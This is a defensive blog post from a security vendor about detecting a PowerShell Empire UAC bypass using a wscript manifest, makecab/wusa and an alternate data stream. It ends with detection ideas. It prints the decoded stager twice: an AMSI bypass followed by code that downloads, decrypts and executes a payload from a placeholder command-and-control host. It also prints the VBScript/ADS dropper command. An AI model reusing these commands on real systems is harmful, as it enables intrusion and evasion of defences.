There are some pretty cool PowerShell frameworks out there, which means it’s relatively common to see PowerShell doing nefarious things. So when the below alert fired, it was not immediately obvious that it was anything other than normal PowerShell encoding.
Digging a little deeper, however, I found that the pattern of behavior was nearly identical to what happens when you execute this PowerShell Empire script. Now things are getting a little more interesting.
What the Attacker Is Doing
Essentially the script is using WScript to bypass the User Account Controls (UAC) on a machine. It should be noted that an attacker would need to find some way to get this script onto the machine in question in order to utilize the exploit, but it’s still pretty neat. Alternate Data Streams (ADS), WScript, VBScript, PowerShell, and injection into Notepad—what could possibly go wrong?
This post will walk through several common methods that attackers use, as well as a relatively novel way to bypass UAC in order to elevate commands to run with Administrative privileges via Wscript and a file written to an ADS, illustrated using data derived from the Carbon Black Response Endpoint Detection and Response (EDR) platform. I’ve done some testing to validate assumptions where possible. As always, many thanks to those who publish their code.
Analyzing Endpoint Data: a Timeline
Going back to our alert, the first process of interest is cmd.exe launching powershell.exe. This isn’t odd at all, but anytime you see a combination of the -noP
and the -enc
flags being passed to PowerShell, it’s probably worth taking a look at what the encoded command is doing. As you can see, this is a pretty hefty base64 encoded block—but again, sometimes this can be legitimate.
Once you decode the command, however, you can immediately see that it’s not legitimate activity. It could be someone’s twisted idea of how to best obfuscate a simple script (job security and all), but it’s more likely that something like this is someone doing something shady. Some things that are immediately odd include the unnecessary switching of case. Windows doesn’t care about case, so it would only be for readability and you can pretty quickly spot things like CReDENtiaALS
that make no sense.
`[REf].ASSEMbly.GEtTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GETFiElD('amsiInitFailed','NonPublic,Static').SETVALue($NULL,$TrUe)};[System.NET.SERvIcEPointManAGEr]::EXpECT100CoNTinue=0;$WC=NeW-ObJeCt SYsteM.NET.WeBCLiEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$WC.HeAderS.Add('User-Agent',$u);$Wc.PrOxY=[SYSTEM.NET.WeBREqUEsT]::DeFAUlTWebPROXy;$WC.PROXy.CReDENtiALs = [SYSTEM.Net.CRedENtiALCaCHE]::DefauLtNETWoRkCREdEnTiAls;$K=[SySteM.TeXt.EncOding]::ASCII.GEtBYTES('q#/ipT0Lj9;}6=?%-(k{>Yzz]GZ2nI5^');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COuNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$Wc.HEADERS.ADd("Cookie","session=BvvAAAAAAA/wYHNqEIs=");$ser='https://baddomain.:443';$t='/login/process.php';$DatA=$WC.DOwNLOADData($sEr+$t);$iv=$DatA[0..3];$data=$dAta[4..$Data.lENGtH];-joiN[Char[]](& $R $DAtA ($IV+$K))|IEX`
Even without fully deobfuscating this, you can see that there are a lot of references to network functions such as New-Object Sytem.Net.Webclient
, a User-Agent string, and the domain to which the process will connect. The command in full is being passed to Invoke-Expression, which is a PowerShell Commandlet that will execute the passed script. While it’s somewhat obfuscated, the computer will handle it as if it didn’t have a bunch of random variables and out of order commands.
This brings us to suspicious thing number two: PowerShell makes an external network connection. With the exception of connections to some Microsoft-affiliated domains, this is uncommon in most environments and warrants a closer look. Also of interest here is the file that is written: wscript.exe.manifest
.
This is where having EDR data alone can be a bit of a dead end. The file did not execute, it was simply written, and we have no idea what the file contains. Still, let’s take a look at the script we think is responsible to see whether the corresponding endpoint artifacts line up. You’re not always going to be able to do this as not every attack is going to mirror a publicly available source, but in this case it’s really neat how the data supports the theory that this was the script used.
One possible detection method here is wscript.exe.manifest
being written to the user’s temp directory. Yes, this is very specific, but it’s also uncommon–frequency of any event can be a great point of context. I’d also do a quick search and see whether wscript.exe.manifest
is commonly used anywhere; if it’s not, then I’d look for instances where it’s written or modified.
In the script we think the attacker used, we can see that $WScriptManifest
will contain an xml value, with a requested Execution Level of “RequireAdministrator.” This gets written to the path contained in the environment variable Temp. As you can see, this matches on the path we’d expect from the above Carbon Black Response data. So, I’m making a bit of an assumption that what we saw in our alert had similar contents. The purpose of this file appears to be ensuring that WScript is run as Administrator.
The next part of the script Invoke-CopyFile
is where it gets a little more interesting. It takes two inputs and then uses makecab
and wusa
to do something.
However, first there’s a call to Get-TempFileName
, which does exactly that: get a random, temporary filename. This will ensure the script doesn’t drop files with the same name twice, which throws out using filename-based indicators for this. What’s cool is that this is all implemented using built-in PowerShell features.
Back to Invoke-CopyFile
: It’s called twice. I’m not claiming to explain the inner workings of makecab
and wusa
, but in this case, other than their intent, they seem to be behaving as expected. Interestingly, when I went to test this on my Windows 10 machine /EXTRACT
did not seem to be a valid wusa
option. Based on some research, it seems that Microsoft may have removed this in order to mitigate this exact UAC vulnerability. However, it will still work on Windows 7 systems.
Now, back to our endpoint data to see whether it matches what was in the script. Looking at the data, it seems that it does; there is wusa
is creating a randomly named file in the user’s temp directory, as shown in the Invoke-CopyFile function in the script. Then wusa.exe
extracts that file into C:\Windows, but renames it as wscript.exe.manifest
.
Remember how Invoke-CopyFile
was called twice? The second time it uses makecab to create a copy of wscript.exe
from system32.
Then it writes this file to C:\Windows. This write is important from a detection standpoint, as it is not common for signed Microsoft executables to be copied and executed from non-standard locations. Looking for core platform files being written to or executed from non-standard locations is a valuable detection technique. It takes a bit of work to narrow down the list and account for changes across versions and patch levels, but it absolutely provides value.
Writing to C:\Windows
The script performs some cleanup by deleting files, and then calls Invoke-WscriptTrigger
– again the data that we see on the endpoint seems to corroborate that this is the same behavior. The purpose of this function is to build a variable called $VBSPayload
that will be used to populate an Alternate Data Stream (ADS).
An ADS is, as John Marlin would describe, “a data stream that is alternate.” Functionally, a data stream is a named attribute of a file that may contain data. Every file has at least one data stream, containing the contents of the file itself. ADS is a means through which additional types of data, typically data that describes the file or its primary contents, may be conveniently stored. It is used in a variety of legitimate ways. For instance, the Zone.Identifier ADS is used by the browser to identify the pedigree of a downloaded file. But, as is the case with most features, it can also be used for evil. In cases such as this, ADS may be used to append a script or malicious binary payload alongside an otherwise benign file.
This time when you look at the endpoint data, you can very easily see that this matches what the script function is doing. $payload
is the variable that will contain whatever custom exploit or action that the executor of the script specifies.
This is the full command, minus the base64-encoded portion:
“C:\Windows\system32\cmd.exe" /C "echo Dim objShell:Dim oFso:Set oFso = CreateObject("Scripting.FileSystemObject"):Set objShell = WScript.CreateObject("WScript.Shell"):command = "powershell -noP -w 1 -enc ==":objShell.Run command, 0:command = "C:\Windows\System32\cmd.exe /c ""start /b """" cmd /c ""timeout /t 5 >nul&&del C:\Windows\wscript.exe&&del C:\Windows\wscript.exe.manifest""""":objShell.Run command, 0:Set objShell = Nothing > "C:\Users\Owner\AppData:0lxgwl1xxyp.vbs""
The0lxgwl1xxyp.vbs
ADS gets written to the user’s appdata directory.
What Can Defenders Do?
One suggestion is to watch for file modifications that contain a colon, as this is the standard ADS marker. Files containing an ADS are difficult to identify using built-in Windows utilities such as the shell or Explorer. The Streams utility is a venerable tool for this task, and PowersShell’s Get-Item commandlet can provide this information as well. Of course, if you are performing just about any form of EDR-like data collection, looking for the colon marker in filename metadata is the easiest way to detect the creation of an ADS.
The PowerShell script actually does all this in one function, and then we can see via Carbon Black Response the process spawning on the endpoint. Here wscript.exe is then used to launch the ADS-containing file. As you can see, it’s C:\Windows\wscript.exe
where we’d normally expect to see C:\Windows\System32\wscript.exe
.
This command will remove the wscript.exe.manifest
and wscript.exe
files from C:\Windows.
Here is the plaintext version of the payload.
‘’’ "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -w 1 -enc WwBSAGUARgBdAC4AQQBTAHMAZQBtAGIATAB5AC4ARwBlAHQAVAB5AFAAZQAoACcAUwB5AHM KQB8AEkARQBYAA==’’’
This decodes to:
[ReF].ASsembLy.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GETFIeLd('amsiInitFailed','NonPublic,Static').SETValuE($nUlL,$tRUe)};[SYStEm.NET.SerViCePoiNTMANageR]::EXPECt100COntinUe=0;$WC=NeW-ObJEcT SystEM.Net.WeBCLiEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$Wc.HEaDeRs.AdD('User-Agent',$u);$Wc.PrOXy=[SYSTEm.NeT.WEBREqueSt]::DEfAUlTWeBPRoxY;$wC.PROXy.CreDentials = [System.NeT.CrEDENtIAlCAchE]::DEfaULTNETWorkCredENTIaLS;$K=[SySTEm.TEXT.ENCODinG]::ASCII.GETBytES('q#/ipT0Lj9;}6=?%-(k{>Ywm]GZ2nI5^');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxoR$S[($S[$I]+$S[$H])%256]}};$wc.HEAders.AdD("Cookie","session=TQeI3t1Xa6MvT6vdkCTdoHOZGqw=");$ser='https://:443';$t='/login/process.php';$dAtA=$WC.DOWnlOAdDAta($ser+$T);$Iv=$dATa[0..3];$DAtA=$DaTa[4..$DATa.lEnGtH];-JoiN[CHar[]](& $R $data ($IV+$K))|IEX
After execution, the ADS-containing file is deleted.
Now we get to the part that is customized by the attacker. In this case, they use the payload to inject into notepad.exe
. There are a few cases where PowerShell injecting into another process is expected, but notepad.exe
is not one of these cases. If you have endpoint data, PowerShell as an injection initiator is another useful bit of detection criteria. In fact, this was one of the methods used to detect abnormal behavior on this endpoint.
Much like above, when a file is written and we have no way of viewing the contents, it is not always clear what the attacker does within the Notepad process. However, we can see some odd follow-on behavior. Specifically, notepad.exe
making an external network connection. This is not normal behavior and merits a further investigation.
The last thing we see is notepad.exe
launch dw20.exe
, which is a binary associated with Microsoft Error reporting. It is entirely possible that the attacker’s payload crashed the process.
Why Endpoint Visibility Is Critical
Thankfully, this attack did not result in any impact to our customer. The exploit was successful, but from what we observed the later-stage payload delivery failed. It’s important to note that the primary purpose of this exploit is to bypass the UAC controls, not necessarily to be stealthy.
As you can see, there are a fair number of techniques that you can use to detect this, including:
- PowerShell using encoded commands via Invoke-Expression (as ‘IEX’)
- Injection into notepad
- Windows binaries executing from abnormal locations
- Notepad and PowerShell establishing external network connections
- Process arguments or file modifications where a filename contains an ADS
Visibility into endpoint activity, extensive detection criteria, and continuous monitoring are critical for detecting threats like this. Red Canary exists to identify these types of behaviors, investigate them, and notify customers of malicious activity. If you lack this visibility or need another layer of security, see how Red Canary performs in your environment.